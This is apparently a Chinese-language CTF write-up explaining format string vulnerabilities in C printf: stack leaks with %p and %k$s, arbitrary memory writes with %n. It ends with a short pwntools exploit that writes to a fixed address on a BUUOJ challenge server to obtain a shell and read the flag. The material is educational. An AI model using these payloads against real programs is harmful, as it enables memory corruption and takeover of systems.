在做这道题目之前,我们先来了解一下什么是字符串格式化漏洞,格式化字符串函数就是将计算机
内存中表示的数据转化为我们人类可读的字符串格式,下面记几个有用的
%d十进制 输出十进制整数
%s 从内存中读取字符串
%p 指针地址
%n 到目前为止所写的所有字节数%x 十六进制
还有些其他的,相信学过c的你们能自己推出来
格式化字符串函数,基本格式% [parameter] [flags] [filed width] [.precision] [length] type
其中type为必选部分,其他部分就是可选项了,在进入printf函数之前,程序会将参数从右往左
一次进行压栈,进入printf后,函数首先获取第一个参数,一次读取一个字符,如果字符不是%,
那么字符将直接被复制到输出,否则读取下一个非空字符,获取相应的参数并解析输出
格式化字符串漏洞的发生条件就是格式化字符串要求的参数和实际上提供的参数不匹配,
漏洞利用: 栈数据泄露,任意地址内存泄露,栈数据覆盖,任意地址覆盖,使程序崩溃
栈数据泄露:
直接输入%p %p 若干个%p就行,运行就会输出栈上相应位置的数据,当然,这种方法只能依次
将栈上的数据给他输出出来
还有一种好方法,可以输出栈上指定位置的数据,利用%n$x,n表示栈上第几个位置
获取栈变量对应的字符串,利用%s,当然也可以指定位置,%n$s即可,注意对应的变量必须能
够被解析为字符串地址,不然,程序就崩溃给你看
泄露任意地址内存:(其实输出函数的第一个参数的值,就是格式化字符串的地址,记就完事儿)
由于我们可以控制格式化字符串(就是我们输入的字符串),如果我们知道该格式化字符串在
输出函数时调用时是第几个参数,这边假设为第k个参数,那么addr%k$s 可以获取该地址的
内存内容,这边注意,如果格式化字符串在栈上,我们就一定要注意格式化字符串的相对偏移,
利用 aaaa %p %p若干个%p来确定,找到aaaa在第几个,偏移量就是多少,payload的构造
payload=p32(所需地址)+%n$s 会输出此处所需地址的内存内容,当然,也不一定是p32,
这边还要注意,地址的字节数长短应符合常规,少了记得补上0
覆盖内存****:
这个操作可以修改栈上内存以及任意地址内存,据说也是常考的之一,废话不多说,开始介绍
%n 不输出字符,但是能把已经成功输入的字符个数写入对应的整形指针参数所指的变量,
这里仍然分为两个部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量,
[overwrite addr] % [overwrite offset]$n 其中我们填充的内容,前者表示我们所要覆盖的地址,后
者表示偏移量
覆盖栈内存:
直接就是 [addr of c ]%012d%6$n 前面4个字节,后面12个字节,总共16个字节,此时c地址的
值已经变为16
参考文章
利用 - CTF Wiki
有一说一啊,我感觉我写的有点抽象了,大家可以直接看这篇文章去理解,这篇文章宇宙无敌好
其实这篇文章看完,这道题的exp基本也就能写了,但我通常是脑子会了,exp还是不会写
简单分析其实就这样,最重要的就是需要nptr==dword_804C044,我们在了解一个东西,recvuntil
这个是从主机一直接受信息的函数,下面的exp中会写到,
from pwn import *
p=remote('node5.buuoj.cn',28446)
p.recvuntil("your name:")
payload = p32(0x804c044)+b'%10$n'
p.sendline(payload)
p.recvuntil(":")
p.sendline('4')
p.interactive()
我来一行行解释,一二行就不解释了,第三行的意思是,从主机那一直接受信息,直到接受到括号
中的内容,再继续往下执行,第三行,括号内的地址是dword_804C044的地址,后面10表示,
格式化字符串在栈上的第10个位置(输入aaaa %p 若干个%p,知道你发现61616161,数一下位
置,就是第10位),这行的意思是将4写入地址0x804c044中,为什么是4呢?p32是将括号内的
地址打包成了4个字节,最后的n,是计算已经成功输入了的字节数(就是前方的4个字节),所以
是将4写入了地址0x804c044,再往下走,发送这个payload给主机,然后再是从主机那接受字符串
,然后再发送一个4,使得那个if条件成立,从而获取了shell,最后cat flag,拿下!
上文中的那篇文章帮了我极大的忙,一定要去看看,那个佬写的确实好